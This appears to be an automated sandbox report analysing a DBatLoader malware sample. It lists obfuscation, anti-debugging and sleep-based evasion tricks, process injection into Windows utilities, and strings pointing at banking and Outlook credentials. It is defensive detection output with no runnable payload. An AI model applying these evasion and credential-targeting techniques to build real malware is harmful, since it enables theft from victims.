Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Window found: window name: SysTabControl32 Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Window detected: Number of UI elements: 12
Source: C:\Windows\SysWOW64\takeown.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: z10982283782.exe Static file information: File size 1114112 > 1048576
Source: Binary string: colorcpl.pdbGCTL source: takeown.exe, 0000000D.00000002.2488818800.000000000093E000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492977299.000000000364C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000280C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.1830307466.0000000028E9C000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: colorcpl.pdb source: takeown.exe, 0000000D.00000002.2488818800.000000000093E000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492977299.000000000364C000.00000004.10000000.00040000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2492630368.000000000280C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.1830307466.0000000028E9C000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: takeown.pdbGCTL source: colorcpl.exe, 0000000A.00000003.1492463807.00000000028A1000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1523639255.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000003.1462420383.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000002.2490451481.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000002.2490451481.0000000000BF7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ObMmiCfBgqmt.exe, 0000000C.00000002.2488106778.00000000004BE000.00000002.00000001.01000000.00000008.sdmp, ObMmiCfBgqmt.exe, 0000000E.00000002.2489652502.00000000004BE000.00000002.00000001.01000000.00000008.sdmp
Source: Binary string: easinvoker.pdb source: z10982283782.exe, z10982283782.exe, 00000000.00000003.1235919667.000000007FAC0000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1352966142.0000000002ABE000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1236633827.000000007F8B0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: colorcpl.exe, 0000000A.00000003.1431854432.0000000022542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1538249660.000000002288E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000003.1430019067.00000000048CE000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1538249660.00000000226F0000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492291107.0000000003020000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1531374042.0000000000C3D000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1523711337.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492291107.00000000031BE000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: takeown.pdb source: colorcpl.exe, 0000000A.00000003.1492463807.00000000028A1000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1523639255.00000000028A0000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000003.1462420383.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000002.2490451481.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, ObMmiCfBgqmt.exe, 0000000C.00000002.2490451481.0000000000BF7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: colorcpl.exe, colorcpl.exe, 0000000A.00000003.1431854432.0000000022542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1538249660.000000002288E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000003.1430019067.00000000048CE000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1538249660.00000000226F0000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, takeown.exe, 0000000D.00000002.2492291107.0000000003020000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1531374042.0000000000C3D000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000003.1523711337.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 0000000D.00000002.2492291107.00000000031BE000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdbGCTL source: z10982283782.exe, 00000000.00000002.1351975173.00000000028CF000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1235919667.000000007FAC0000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000002.1352966142.0000000002ABE000.00000004.00001000.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1236423933.00000000028D8000.00000004.00000020.00020000.00000000.sdmp, z10982283782.exe, 00000000.00000003.1236633827.000000007F8B0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Yara detected DBatLoader
Source: Yara match File source: 0.2.z10982283782.exe.2a90000.0.unpack, type: UNPACKEDPE
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA894C LoadLibraryW,GetProcAddress,FreeLibrary, 0_2_02AA894C
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02ABD2FC push 02ABD367h; ret 0_2_02ABD35F
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A963AE push 02A9640Bh; ret 0_2_02A96403
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A963B0 push 02A9640Bh; ret 0_2_02A96403
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A9332C push eax; ret 0_2_02A93368
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02ABC378 push 02ABC56Eh; ret 0_2_02ABC566
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A9C349 push 8B02A9C1h; ret 0_2_02A9C34E
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02ABD0AC push 02ABD125h; ret 0_2_02ABD11D
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA306B push 02AA30B9h; ret 0_2_02AA30B1
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA306C push 02AA30B9h; ret 0_2_02AA30B1
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02ABD1F8 push 02ABD288h; ret 0_2_02ABD280
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AAF108 push ecx; mov dword ptr [esp], edx 0_2_02AAF10D
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02ABD144 push 02ABD1ECh; ret 0_2_02ABD1E4
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A96782 push 02A967C6h; ret 0_2_02A967BE
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A96784 push 02A967C6h; ret 0_2_02A967BE
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A9D5A0 push 02A9D5CCh; ret 0_2_02A9D5C4
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A9C56C push ecx; mov dword ptr [esp], edx 0_2_02A9C571
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02ABC570 push 02ABC56Eh; ret 0_2_02ABC566
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AAAAE0 push 02AAAB18h; ret 0_2_02AAAB10
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA8AD8 push 02AA8B10h; ret 0_2_02AA8B08
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AAAADF push 02AAAB18h; ret 0_2_02AAAB10
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02B04A50 push eax; ret 0_2_02B04B20
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A9CA4E push 02A9CD72h; ret 0_2_02A9CD6A
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A9CBEC push 02A9CD72h; ret 0_2_02A9CD6A
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA886C push 02AA88AEh; ret 0_2_02AA88A6
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA790C push 02AA7989h; ret 0_2_02AA7981
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA6948 push 02AA69F3h; ret 0_2_02AA69EB
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA6946 push 02AA69F3h; ret 0_2_02AA69EB
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA5E7C push ecx; mov dword ptr [esp], edx 0_2_02AA5E7E
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA2F60 push 02AA2FD6h; ret 0_2_02AA2FCE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065F2F80 push eax; ret 10_2_065F2F82
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_065F6C76 pushad ; ret 10_2_065F6C77
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AAAB1C GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_02AAAB1C
Source: C:\Users\user\Desktop\z10982283782.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Allocates many large memory junks
Source: C:\Users\user\Desktop\z10982283782.exe Memory allocated: 2A90000 memory commit 500006912 Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Memory allocated: 2A91000 memory commit 500178944 Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Memory allocated: 2ABD000 memory commit 500002816 Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Memory allocated: 2ABE000 memory commit 500350976 Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Memory allocated: 2B14000 memory commit 501014528 Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Memory allocated: 2C0C000 memory commit 500006912 Jump to behavior
Source: C:\Users\user\Desktop\z10982283782.exe Memory allocated: 2C0E000 memory commit 500015104 Jump to behavior
Switches to a custom stack to bypass stack traces
Source: C:\Windows\SysWOW64\takeown.exe API/Special instruction interceptor: Address: 7FFB2CECD324
Source: C:\Windows\SysWOW64\takeown.exe API/Special instruction interceptor: Address: 7FFB2CECD7E4
Source: C:\Windows\SysWOW64\takeown.exe API/Special instruction interceptor: Address: 7FFB2CECD944
Source: C:\Windows\SysWOW64\takeown.exe API/Special instruction interceptor: Address: 7FFB2CECD504
Source: C:\Windows\SysWOW64\takeown.exe API/Special instruction interceptor: Address: 7FFB2CECD544
Source: C:\Windows\SysWOW64\takeown.exe API/Special instruction interceptor: Address: 7FFB2CECD1E4
Source: C:\Windows\SysWOW64\takeown.exe API/Special instruction interceptor: Address: 7FFB2CED0154
Source: C:\Windows\SysWOW64\takeown.exe API/Special instruction interceptor: Address: 7FFB2CECDA44
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2276096E rdtsc 10_2_2276096E
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\takeown.exe Window / User API: threadDelayed 1041 Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Window / User API: threadDelayed 8932 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\SysWOW64\colorcpl.exe API coverage: 0.6 %
Source: C:\Windows\SysWOW64\takeown.exe API coverage: 2.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\takeown.exe TID: 1916 Thread sleep count: 1041 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe TID: 1916 Thread sleep time: -2082000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe TID: 1916 Thread sleep count: 8932 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe TID: 1916 Thread sleep time: -17864000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\MHJugyuzUaheNGpkBeFBNlDyEOcFcyRVbempThHnCRYANZZY\ObMmiCfBgqmt.exe TID: 4016 Thread sleep time: -35000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\takeown.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\takeown.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02A95908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 0_2_02A95908
Source: C:\Windows\SysWOW64\takeown.exe Code function: 13_2_0068C5F0 FindFirstFileW,FindNextFileW,FindClose, 13_2_0068C5F0
Source: dGg-0-kL.13.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: dGg-0-kL.13.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: dGg-0-kL.13.dr Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: dGg-0-kL.13.dr Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: dGg-0-kL.13.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: outlook.office.comVMware20,11696492231s
Source: dGg-0-kL.13.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: AMC password management pageVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: z10982283782.exe, 00000000.00000002.1349705581.0000000000706000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: dGg-0-kL.13.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: dGg-0-kL.13.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: z10982283782.exe, 00000000.00000002.1349705581.00000000006EF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: dGg-0-kL.13.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: dGg-0-kL.13.dr Binary or memory string: discord.comVMware20,11696492231f
Source: firefox.exe, 00000011.00000002.1831758654.0000021968EBC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dGg-0-kL.13.dr Binary or memory string: global block list test formVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: dev.azure.comVMware20,11696492231j
Source: dGg-0-kL.13.dr Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: dGg-0-kL.13.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: dGg-0-kL.13.dr Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: dGg-0-kL.13.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: dGg-0-kL.13.dr Binary or memory string: tasks.office.comVMware20,11696492231o
Source: z10982283782.exe, 00000000.00000002.1349705581.0000000000706000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW?u
Source: dGg-0-kL.13.dr Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: dGg-0-kL.13.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: dGg-0-kL.13.dr Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: takeown.exe, 0000000D.00000002.2488818800.000000000093E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll@
Source: dGg-0-kL.13.dr Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: dGg-0-kL.13.dr Binary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
Source: dGg-0-kL.13.dr Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: dGg-0-kL.13.dr Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: ObMmiCfBgqmt.exe, 0000000E.00000002.2491546637.0000000000B9F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllD
Source: C:\Users\user\Desktop\z10982283782.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\z10982283782.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AAF744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent, 0_2_02AAF744
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\z10982283782.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2276096E rdtsc 10_2_2276096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762B60 NtClose,LdrInitializeThunk, 10_2_22762B60
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\z10982283782.exe Code function: 0_2_02AA894C LoadLibraryW,GetProcAddress,FreeLibrary, 0_2_02AA894C
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D0274 mov eax, dword ptr fs:[00000030h] 10_2_227D0274
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22724260 mov eax, dword ptr fs:[00000030h] 10_2_22724260
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22724260 mov eax, dword ptr fs:[00000030h] 10_2_22724260
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22724260 mov eax, dword ptr fs:[00000030h] 10_2_22724260
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271826B mov eax, dword ptr fs:[00000030h] 10_2_2271826B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271A250 mov eax, dword ptr fs:[00000030h] 10_2_2271A250
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F625D mov eax, dword ptr fs:[00000030h] 10_2_227F625D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726259 mov eax, dword ptr fs:[00000030h] 10_2_22726259
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DA250 mov eax, dword ptr fs:[00000030h] 10_2_227DA250
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DA250 mov eax, dword ptr fs:[00000030h] 10_2_227DA250
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A8243 mov eax, dword ptr fs:[00000030h] 10_2_227A8243
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A8243 mov ecx, dword ptr fs:[00000030h] 10_2_227A8243
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271823B mov eax, dword ptr fs:[00000030h] 10_2_2271823B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227302E1 mov eax, dword ptr fs:[00000030h] 10_2_227302E1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227302E1 mov eax, dword ptr fs:[00000030h] 10_2_227302E1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227302E1 mov eax, dword ptr fs:[00000030h] 10_2_227302E1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F62D6 mov eax, dword ptr fs:[00000030h] 10_2_227F62D6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A2C3 mov eax, dword ptr fs:[00000030h] 10_2_2272A2C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A2C3 mov eax, dword ptr fs:[00000030h] 10_2_2272A2C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A2C3 mov eax, dword ptr fs:[00000030h] 10_2_2272A2C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A2C3 mov eax, dword ptr fs:[00000030h] 10_2_2272A2C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A2C3 mov eax, dword ptr fs:[00000030h] 10_2_2272A2C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227302A0 mov eax, dword ptr fs:[00000030h] 10_2_227302A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227302A0 mov eax, dword ptr fs:[00000030h] 10_2_227302A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B62A0 mov eax, dword ptr fs:[00000030h] 10_2_227B62A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B62A0 mov ecx, dword ptr fs:[00000030h] 10_2_227B62A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B62A0 mov eax, dword ptr fs:[00000030h] 10_2_227B62A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B62A0 mov eax, dword ptr fs:[00000030h] 10_2_227B62A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B62A0 mov eax, dword ptr fs:[00000030h] 10_2_227B62A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B62A0 mov eax, dword ptr fs:[00000030h] 10_2_227B62A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E284 mov eax, dword ptr fs:[00000030h] 10_2_2275E284
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E284 mov eax, dword ptr fs:[00000030h] 10_2_2275E284
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A0283 mov eax, dword ptr fs:[00000030h] 10_2_227A0283
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A0283 mov eax, dword ptr fs:[00000030h] 10_2_227A0283
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A0283 mov eax, dword ptr fs:[00000030h] 10_2_227A0283
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C437C mov eax, dword ptr fs:[00000030h] 10_2_227C437C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A035C mov eax, dword ptr fs:[00000030h] 10_2_227A035C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A035C mov eax, dword ptr fs:[00000030h] 10_2_227A035C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A035C mov eax, dword ptr fs:[00000030h] 10_2_227A035C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A035C mov ecx, dword ptr fs:[00000030h] 10_2_227A035C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A035C mov eax, dword ptr fs:[00000030h] 10_2_227A035C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A035C mov eax, dword ptr fs:[00000030h] 10_2_227A035C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227EA352 mov eax, dword ptr fs:[00000030h] 10_2_227EA352
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C8350 mov ecx, dword ptr fs:[00000030h] 10_2_227C8350
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F634F mov eax, dword ptr fs:[00000030h] 10_2_227F634F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
